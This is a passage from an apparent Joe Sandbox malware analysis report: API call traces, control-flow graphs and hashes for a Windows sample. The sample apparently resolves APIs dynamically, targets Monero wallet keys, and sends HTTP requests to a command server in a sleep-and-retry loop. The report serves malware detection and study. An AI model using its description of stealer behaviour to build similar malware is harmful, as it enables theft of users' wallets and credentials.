                                    • GetProcAddress.KERNEL32(76210000,00985528), ref: 00E2A16D
                                    • GetProcAddress.KERNEL32(76210000,0099D9D0), ref: 00E2A185
                                    • GetProcAddress.KERNEL32(76210000,0099D7C0), ref: 00E2A19D
                                    • GetProcAddress.KERNEL32(76210000,0099D958), ref: 00E2A1B6
                                    • GetProcAddress.KERNEL32(76210000,0099DA00), ref: 00E2A1CE
                                    • GetProcAddress.KERNEL32(76210000,0099DAA8), ref: 00E2A1E6
                                    • GetProcAddress.KERNEL32(76210000,0099D9A0), ref: 00E2A1FF
                                    • GetProcAddress.KERNEL32(76210000,0099D880), ref: 00E2A217
                                    • GetProcAddress.KERNEL32(76210000,0099D7D8), ref: 00E2A22F
                                    • GetProcAddress.KERNEL32(76210000,0099D7F0), ref: 00E2A248
                                    • GetProcAddress.KERNEL32(76210000,0098FDA8), ref: 00E2A260
                                    • GetProcAddress.KERNEL32(76210000,0099D910), ref: 00E2A278
                                    • GetProcAddress.KERNEL32(76210000,0099DA60), ref: 00E2A291
                                    • GetProcAddress.KERNEL32(76210000,00985568), ref: 00E2A2A9
                                    • GetProcAddress.KERNEL32(76210000,0099D9B8), ref: 00E2A2C1
                                    • GetProcAddress.KERNEL32(76210000,00985588), ref: 00E2A2DA
                                    • GetProcAddress.KERNEL32(76210000,0099DA78), ref: 00E2A2F2
                                    • GetProcAddress.KERNEL32(76210000,0099D820), ref: 00E2A30A
                                    • GetProcAddress.KERNEL32(76210000,009855A8), ref: 00E2A323
                                    • GetProcAddress.KERNEL32(76210000,009855C8), ref: 00E2A33B
                                    • LoadLibraryA.KERNEL32(0099D850,?,00E25EF3,00E30AEB,?,?,?,?,?,?,?,?,?,?,00E30AEA,00E30AE7), ref: 00E2A34D
                                    • LoadLibraryA.KERNEL32(0099D8F8,?,00E25EF3,00E30AEB,?,?,?,?,?,?,?,?,?,?,00E30AEA,00E30AE7), ref: 00E2A35E
                                    • LoadLibraryA.KERNEL32(0099D898,?,00E25EF3,00E30AEB,?,?,?,?,?,?,?,?,?,?,00E30AEA,00E30AE7), ref: 00E2A370
                                    • LoadLibraryA.KERNEL32(0099D8C8,?,00E25EF3,00E30AEB,?,?,?,?,?,?,?,?,?,?,00E30AEA,00E30AE7), ref: 00E2A382
                                    • LoadLibraryA.KERNEL32(0099D8B0,?,00E25EF3,00E30AEB,?,?,?,?,?,?,?,?,?,?,00E30AEA,00E30AE7), ref: 00E2A393
                                    • LoadLibraryA.KERNEL32(0099D8E0,?,00E25EF3,00E30AEB,?,?,?,?,?,?,?,?,?,?,00E30AEA,00E30AE7), ref: 00E2A3A5
                                    • LoadLibraryA.KERNEL32(0099D928,?,00E25EF3,00E30AEB,?,?,?,?,?,?,?,?,?,?,00E30AEA,00E30AE7), ref: 00E2A3B7
                                    • LoadLibraryA.KERNEL32(0099DC88,?,00E25EF3,00E30AEB,?,?,?,?,?,?,?,?,?,?,00E30AEA,00E30AE7), ref: 00E2A3C8
                                    • GetProcAddress.KERNEL32(751E0000,00985288), ref: 00E2A3EA
                                    • GetProcAddress.KERNEL32(751E0000,0099DC10), ref: 00E2A402
                                    • GetProcAddress.KERNEL32(751E0000,00998C18), ref: 00E2A41A
                                    • GetProcAddress.KERNEL32(751E0000,0099DAD8), ref: 00E2A433
                                    • GetProcAddress.KERNEL32(751E0000,00985108), ref: 00E2A44B
                                    • GetProcAddress.KERNEL32(700F0000,0098A568), ref: 00E2A470
                                    • GetProcAddress.KERNEL32(700F0000,009852C8), ref: 00E2A489
                                    • GetProcAddress.KERNEL32(700F0000,0098A860), ref: 00E2A4A1
                                    • GetProcAddress.KERNEL32(700F0000,0099DCD0), ref: 00E2A4B9
                                    • GetProcAddress.KERNEL32(700F0000,0099DD90), ref: 00E2A4D2
                                    • GetProcAddress.KERNEL32(700F0000,00985168), ref: 00E2A4EA
                                    • GetProcAddress.KERNEL32(700F0000,009852E8), ref: 00E2A502
                                    • GetProcAddress.KERNEL32(700F0000,0099DC58), ref: 00E2A51B
                                    • GetProcAddress.KERNEL32(753A0000,00985128), ref: 00E2A53C
                                    • GetProcAddress.KERNEL32(753A0000,00984FE8), ref: 00E2A554
                                    • GetProcAddress.KERNEL32(753A0000,0099DB38), ref: 00E2A56D
                                    • GetProcAddress.KERNEL32(753A0000,0099DC40), ref: 00E2A585
                                    • GetProcAddress.KERNEL32(753A0000,00985308), ref: 00E2A59D
                                    • GetProcAddress.KERNEL32(76310000,0098A838), ref: 00E2A5C3
                                    • GetProcAddress.KERNEL32(76310000,0098A8D8), ref: 00E2A5DB
                                    • GetProcAddress.KERNEL32(76310000,0099DD18), ref: 00E2A5F3
                                    • GetProcAddress.KERNEL32(76310000,009851E8), ref: 00E2A60C
                                    • GetProcAddress.KERNEL32(76310000,00984F88), ref: 00E2A624
                                    • GetProcAddress.KERNEL32(76310000,0098A900), ref: 00E2A63C
                                    • GetProcAddress.KERNEL32(76910000,0099DDA8), ref: 00E2A662
                                    • GetProcAddress.KERNEL32(76910000,00985268), ref: 00E2A67A
                                    • GetProcAddress.KERNEL32(76910000,00998C28), ref: 00E2A692
                                    • GetProcAddress.KERNEL32(76910000,0099DCE8), ref: 00E2A6AB
                                    • GetProcAddress.KERNEL32(76910000,0099DD60), ref: 00E2A6C3
                                    • GetProcAddress.KERNEL32(76910000,009851A8), ref: 00E2A6DB
                                    • GetProcAddress.KERNEL32(76910000,00985008), ref: 00E2A6F4
                                    • GetProcAddress.KERNEL32(76910000,0099DAC0), ref: 00E2A70C
                                    • GetProcAddress.KERNEL32(76910000,0099DAF0), ref: 00E2A724
                                    • GetProcAddress.KERNEL32(75B30000,00985148), ref: 00E2A746
                                    • GetProcAddress.KERNEL32(75B30000,0099DD48), ref: 00E2A75E
                                    • GetProcAddress.KERNEL32(75B30000,0099DB98), ref: 00E2A776
                                    • GetProcAddress.KERNEL32(75B30000,0099DB08), ref: 00E2A78F
                                    • GetProcAddress.KERNEL32(75B30000,0099DBB0), ref: 00E2A7A7
                                    • GetProcAddress.KERNEL32(75670000,00985208), ref: 00E2A7C8
                                    • GetProcAddress.KERNEL32(75670000,009850E8), ref: 00E2A7E1
                                    • GetProcAddress.KERNEL32(76AC0000,009852A8), ref: 00E2A802
                                    • GetProcAddress.KERNEL32(76AC0000,0099DB20), ref: 00E2A81A
                                    • GetProcAddress.KERNEL32(6F4E0000,009851C8), ref: 00E2A840
                                    • GetProcAddress.KERNEL32(6F4E0000,009850C8), ref: 00E2A858
                                    • GetProcAddress.KERNEL32(6F4E0000,00985328), ref: 00E2A870
                                    • GetProcAddress.KERNEL32(6F4E0000,0099DD00), ref: 00E2A889
                                    • GetProcAddress.KERNEL32(6F4E0000,00985228), ref: 00E2A8A1
                                    • GetProcAddress.KERNEL32(6F4E0000,00985068), ref: 00E2A8B9
                                    • GetProcAddress.KERNEL32(6F4E0000,00985088), ref: 00E2A8D2
                                    • GetProcAddress.KERNEL32(6F4E0000,00985188), ref: 00E2A8EA
                                    • GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 00E2A901
                                    • GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 00E2A917
                                    • GetProcAddress.KERNEL32(75AE0000,0099DC70), ref: 00E2A939
                                    • GetProcAddress.KERNEL32(75AE0000,00998B48), ref: 00E2A951
                                    • GetProcAddress.KERNEL32(75AE0000,0099DD30), ref: 00E2A969
                                    • GetProcAddress.KERNEL32(75AE0000,0099DCA0), ref: 00E2A982
                                    • GetProcAddress.KERNEL32(76300000,00984F48), ref: 00E2A9A3
                                    • GetProcAddress.KERNEL32(6FE40000,0099DBE0), ref: 00E2A9C4
                                    • GetProcAddress.KERNEL32(6FE40000,00985248), ref: 00E2A9DD
                                    • GetProcAddress.KERNEL32(6FE40000,0099DCB8), ref: 00E2A9F5
                                    • GetProcAddress.KERNEL32(6FE40000,0099DB50), ref: 00E2AA0D
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AddressProc$LibraryLoad
                                    • String ID: HttpQueryInfoA$InternetSetOptionA
                                    • API String ID: 2238633743-1775429166
                                    • Opcode ID: 2ce2ec86cd326e8e0f390af4be992833431f169ec6629df15bb025694888a32c
                                    • Instruction ID: d237ed173dd5dfb64cc892abd2b36ee81bb740d8b28ff38998d6b5eba20d352a
                                    • Opcode Fuzzy Hash: 2ce2ec86cd326e8e0f390af4be992833431f169ec6629df15bb025694888a32c
                                    • Instruction Fuzzy Hash: A46220B55002009FC374DFAAF88895677FAE79DF01710859AFA89CB258D73FA541CBA0
                                    Function 00E148D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 801 e148d0-e14992 call e2aab0 call e14800 call e2aa50 * 5 InternetOpenA StrCmpCA 816 e14994 801->816 817 e1499b-e1499f 801->817 816->817 818 e149a5-e14b1d call e28cf0 call e2ac30 call e2abb0 call e2ab10 * 2 call e2acc0 call e2abb0 call e2ab10 call e2acc0 call e2abb0 call e2ab10 call e2ac30 call e2abb0 call e2ab10 call e2acc0 call e2abb0 call e2ab10 call e2acc0 call e2abb0 call e2ab10 call e2acc0 call e2ac30 call e2abb0 call e2ab10 * 2 InternetConnectA 817->818 819 e14f1b-e14f43 InternetCloseHandle call e2ade0 call e1a210 817->819 818->819 905 e14b23-e14b27 818->905 828 e14f82-e14ff2 call e28b20 * 2 call e2aab0 call e2ab10 * 8 819->828 829 e14f45-e14f7d call e2ab30 call e2acc0 call e2abb0 call e2ab10 819->829 829->828 906 e14b35 905->906 907 e14b29-e14b33 905->907 908 e14b3f-e14b72 HttpOpenRequestA 906->908 907->908 909 e14b78-e14e78 call e2acc0 call e2abb0 call e2ab10 call e2ac30 call e2abb0 call e2ab10 call e2acc0 call e2abb0 call e2ab10 call e2acc0 call e2abb0 call e2ab10 call e2acc0 call e2abb0 call e2ab10 call e2acc0 call e2abb0 call e2ab10 call e2ac30 call e2abb0 call e2ab10 call e2acc0 call e2abb0 call e2ab10 call e2acc0 call e2abb0 call e2ab10 call e2ac30 call e2abb0 call e2ab10 call e2acc0 call e2abb0 call e2ab10 call e2acc0 call e2abb0 call e2ab10 call e2acc0 call e2abb0 call e2ab10 call e2acc0 call e2abb0 call e2ab10 call e2ac30 call e2abb0 call e2ab10 call e2aa50 call e2ac30 * 2 call e2abb0 call e2ab10 * 2 call e2ade0 lstrlen call e2ade0 * 2 lstrlen call e2ade0 HttpSendRequestA 908->909 910 e14f0e-e14f15 InternetCloseHandle 908->910 1021 e14e82-e14eac InternetReadFile 909->1021 910->819 1022 e14eb7-e14f09 InternetCloseHandle call e2ab10 1021->1022 1023 e14eae-e14eb5 1021->1023 1022->910 1023->1022 1024 e14eb9-e14ef7 call e2acc0 call e2abb0 call e2ab10 1023->1024 1024->1021
                                    APIs
                                      • Part of subcall function 00E2AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00E2AAF6
                                      • Part of subcall function 00E14800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E14889
                                      • Part of subcall function 00E14800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E14899
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                    • InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00E14965
                                    • StrCmpCA.SHLWAPI(?,0099FB60), ref: 00E1498A
                                    • InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E14B0A
                                    • lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00E30DDE,00000000,?,?,00000000,?,",00000000,?,0099F980), ref: 00E14E38
                                    • lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00E14E54
                                    • HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00E14E68
                                    • InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00E14E99
                                    • InternetCloseHandle.WININET(00000000), ref: 00E14EFD
                                    • InternetCloseHandle.WININET(00000000), ref: 00E14F15
                                    • HttpOpenRequestA.WININET(00000000,0099FA30,?,0099F2D8,00000000,00000000,00400100,00000000), ref: 00E14B65
                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                      • Part of subcall function 00E2AC30: lstrcpy.KERNEL32(00000000,?), ref: 00E2AC82
                                      • Part of subcall function 00E2AC30: lstrcat.KERNEL32(00000000), ref: 00E2AC92
                                    • InternetCloseHandle.WININET(00000000), ref: 00E14F1F
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
                                    • String ID: "$"$------$------$------
                                    • API String ID: 460715078-2180234286
                                    • Opcode ID: d02bdf0c6dc2fbc132eaf7710aab37a6df0e4dee8f49ce58ab4a45a736e64356
                                    • Instruction ID: 9847cd5dfe82dcf3c131807eba3c2c2e3357eddfe7184b48df0f8e8d82d9cfa8
                                    • Opcode Fuzzy Hash: d02bdf0c6dc2fbc132eaf7710aab37a6df0e4dee8f49ce58ab4a45a736e64356
                                    • Instruction Fuzzy Hash: 5612FC72910228ABCB15EB90ED62FEEB7B9BF14300F4855A9F10676191DF306F48CB61
                                    Function 00E25760 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 1090 e25760-e257c7 call e25d20 call e2ab30 * 3 call e2aa50 * 4 1106 e257cc-e257d3 1090->1106 1107 e25827-e2589c call e2aa50 * 2 call e11590 call e25510 call e2abb0 call e2ab10 call e2ade0 StrCmpCA 1106->1107 1108 e257d5-e25806 call e2ab30 call e2aab0 call e11590 call e25440 1106->1108 1133 e258e3-e258f9 call e2ade0 StrCmpCA 1107->1133 1137 e2589e-e258de call e2aab0 call e11590 call e25440 call e2abb0 call e2ab10 1107->1137 1124 e2580b-e25822 call e2abb0 call e2ab10 1108->1124 1124->1133 1140 e258ff-e25906 1133->1140 1141 e25a2c-e25a94 call e2abb0 call e2ab30 * 2 call e116b0 call e2ab10 * 4 call e11670 call e11550 1133->1141 1137->1133 1144 e25a2a-e25aaf call e2ade0 StrCmpCA 1140->1144 1145 e2590c-e25913 1140->1145 1270 e25d13-e25d16 1141->1270 1164 e25be1-e25c49 call e2abb0 call e2ab30 * 2 call e116b0 call e2ab10 * 4 call e11670 call e11550 1144->1164 1165 e25ab5-e25abc 1144->1165 1149 e25915-e25969 call e2ab30 call e2aab0 call e11590 call e25440 call e2abb0 call e2ab10 1145->1149 1150 e2596e-e259e3 call e2aa50 * 2 call e11590 call e25510 call e2abb0 call e2ab10 call e2ade0 StrCmpCA 1145->1150 1149->1144 1150->1144 1250 e259e5-e25a25 call e2aab0 call e11590 call e25440 call e2abb0 call e2ab10 1150->1250 1164->1270 1172 e25ac2-e25ac9 1165->1172 1173 e25bdf-e25c64 call e2ade0 StrCmpCA 1165->1173 1174 e25b23-e25b98 call e2aa50 * 2 call e11590 call e25510 call e2abb0 call e2ab10 call e2ade0 StrCmpCA 1172->1174 1175 e25acb-e25b1e call e2ab30 call e2aab0 call e11590 call e25440 call e2abb0 call e2ab10 1172->1175 1203 e25c66-e25c71 Sleep 1173->1203 1204 e25c78-e25ce1 call e2abb0 call e2ab30 * 2 call e116b0 call e2ab10 * 4 call e11670 call e11550 1173->1204 1174->1173 1275 e25b9a-e25bda call e2aab0 call e11590 call e25440 call e2abb0 call e2ab10 1174->1275 1175->1173 1203->1106 1204->1270 1250->1144 1275->1173
                                    APIs
                                      • Part of subcall function 00E2AB30: lstrlen.KERNEL32(UO,?,?,00E14F55,00E30DDF), ref: 00E2AB3B
                                      • Part of subcall function 00E2AB30: lstrcpy.KERNEL32(00E30DDF,00000000), ref: 00E2AB95
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                    • StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00E25894
                                    • StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00E258F1
                                    • StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00E25AA7
                                      • Part of subcall function 00E2AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00E2AAF6
                                      • Part of subcall function 00E25440: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00E25478
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                      • Part of subcall function 00E25510: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00E25568
                                      • Part of subcall function 00E25510: lstrlen.KERNEL32(00000000), ref: 00E2557F
                                      • Part of subcall function 00E25510: StrStrA.SHLWAPI(00000000,00000000), ref: 00E255B4
                                      • Part of subcall function 00E25510: lstrlen.KERNEL32(00000000), ref: 00E255D3
                                      • Part of subcall function 00E25510: lstrlen.KERNEL32(00000000), ref: 00E255FE
                                    • StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00E259DB
                                    • StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00E25B90
                                    • StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00E25C5C
                                    • Sleep.KERNEL32(0000EA60), ref: 00E25C6B
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpylstrlen$Sleep
                                    • String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
                                    • API String ID: 507064821-2791005934
                                    • Opcode ID: 9316ed9ce317fe62ccbf5908f3f8b4effa80f6739df58a7be3cf784afb2138f6
                                    • Instruction ID: 73d632e75e47e086a0a0306a02d984dac94843be862ffcdebdbaf22d85fe780e
                                    • Opcode Fuzzy Hash: 9316ed9ce317fe62ccbf5908f3f8b4effa80f6739df58a7be3cf784afb2138f6
                                    • Instruction Fuzzy Hash: 2EE160729101189BCB18FBA0F967AFD73BDAF54300F44A568F50776085EF356A48CBA2
                                    Function 00E219F0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 1301 e219f0-e21a1d call e2ade0 StrCmpCA 1304 e21a27-e21a41 call e2ade0 1301->1304 1305 e21a1f-e21a21 ExitProcess 1301->1305 1309 e21a44-e21a48 1304->1309 1310 e21c12-e21c1d call e2ab10 1309->1310 1311 e21a4e-e21a61 1309->1311 1313 e21a67-e21a6a 1311->1313 1314 e21bee-e21c0d 1311->1314 1316 e21b82-e21b93 StrCmpCA 1313->1316 1317 e21b63-e21b74 StrCmpCA 1313->1317 1318 e21bc0-e21bd1 StrCmpCA 1313->1318 1319 e21b41-e21b52 StrCmpCA 1313->1319 1320 e21ba1-e21bb2 StrCmpCA 1313->1320 1321 e21a85-e21a94 call e2ab30 1313->1321 1322 e21acf-e21ae0 StrCmpCA 1313->1322 1323 e21aad-e21abe StrCmpCA 1313->1323 1324 e21a71-e21a80 call e2ab30 1313->1324 1325 e21a99-e21aa8 call e2ab30 1313->1325 1326 e21b1f-e21b30 StrCmpCA 1313->1326 1327 e21bdf-e21be9 call e2ab30 1313->1327 1328 e21afd-e21b0e StrCmpCA 1313->1328 1314->1309 1341 e21b95-e21b98 1316->1341 1342 e21b9f 1316->1342 1339 e21b80 1317->1339 1340 e21b76-e21b79 1317->1340 1346 e21bd3-e21bd6 1318->1346 1347 e21bdd 1318->1347 1337 e21b54-e21b57 1319->1337 1338 e21b5e 1319->1338 1343 e21bb4-e21bb7 1320->1343 1344 e21bbe 1320->1344 1321->1314 1331 e21ae2-e21aec 1322->1331 1332 e21aee-e21af1 1322->1332 1329 e21ac0-e21ac3 1323->1329 1330 e21aca 1323->1330 1324->1314 1325->1314 1335 e21b32-e21b35 1326->1335 1336 e21b3c 1326->1336 1327->1314 1333 e21b10-e21b13 1328->1333 1334 e21b1a 1328->1334 1329->1330 1330->1314 1352 e21af8 1331->1352 1332->1352 1333->1334 1334->1314 1335->1336 1336->1314 1337->1338 1338->1314 1339->1314 1340->1339 1341->1342 1342->1314 1343->1344 1344->1314 1346->1347 1347->1314 1352->1314
                                    APIs
                                    • StrCmpCA.SHLWAPI(00000000,block), ref: 00E21A15
                                    • ExitProcess.KERNEL32 ref: 00E21A21
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ExitProcess
                                    • String ID: block
                                    • API String ID: 621844428-2199623458
                                    • Opcode ID: 1172093d243a5b78272c8855b37850d513c8c3e66fab8534c6b399efc823a647
                                    • Instruction ID: a14620745111dfa5cbf5f4fcd0cc8f6687367d56d7b3034e57441e08ccf43b3c
                                    • Opcode Fuzzy Hash: 1172093d243a5b78272c8855b37850d513c8c3e66fab8534c6b399efc823a647
                                    • Instruction Fuzzy Hash: F1515B78B08219EFCB14DFA4E958AEE77B9EF54704F60509CE402BB240E775EA41CB61
                                    Function 00E26C90 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    APIs
                                      • Part of subcall function 00E29BB0: GetProcAddress.KERNEL32(76210000,00991728), ref: 00E29BF1
                                      • Part of subcall function 00E29BB0: GetProcAddress.KERNEL32(76210000,009914E8), ref: 00E29C0A
                                      • Part of subcall function 00E29BB0: GetProcAddress.KERNEL32(76210000,00991698), ref: 00E29C22
                                      • Part of subcall function 00E29BB0: GetProcAddress.KERNEL32(76210000,009915D8), ref: 00E29C3A
                                      • Part of subcall function 00E29BB0: GetProcAddress.KERNEL32(76210000,00991530), ref: 00E29C53
                                      • Part of subcall function 00E29BB0: GetProcAddress.KERNEL32(76210000,00998C48), ref: 00E29C6B
                                      • Part of subcall function 00E29BB0: GetProcAddress.KERNEL32(76210000,00985508), ref: 00E29C83
